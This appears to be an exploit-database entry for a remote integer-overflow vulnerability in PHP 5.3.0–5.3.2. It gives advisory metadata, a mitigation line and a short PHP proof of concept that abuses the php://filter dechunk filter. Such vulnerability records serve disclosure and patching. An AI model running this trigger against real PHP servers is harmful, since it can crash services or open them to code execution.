header-logo
Suggest Exploit
vendor:
PHP
by:
7.5
CVSS
HIGH
Remote Code Execution
CWE
Product Name: PHP
Affected Version From: PHP 5.3.0
Affected Version To: PHP 5.3.2
Patch Exists: NO
Related CWE:
CPE: a:php:php
Metasploit:
Other Scripts:
Platforms Tested:

PHP Remote Integer-Overflow Vulnerability

The vulnerability allows an attacker to execute arbitrary code in the context of the PHP process. Failed exploit attempts result in a denial-of-service condition.

Mitigation:

Patch or upgrade to a non-vulnerable version of PHP.
Source

Exploit-DB raw data:

source: https://www.securityfocus.com/bid/39877/info

PHP is prone to a remote integer-overflow vulnerability.

An attacker can exploit this issue to execute arbitrary code in the context of the PHP process. Failed exploit attempts will result in a denial-of-service condition.

PHP 5.3.0 through 5.3.2 are vulnerable; other versions may also be affected.

<?php
$x = '0fffffffe

XXX';
file_put_contents("file:///tmp/test.dat",$x);
$y = file_get_contents('php://filter/read=dechunk/resource=file:///tmp/test.dat');
echo "here";
?>

Navigation

Suggest Exploit

Services By CQR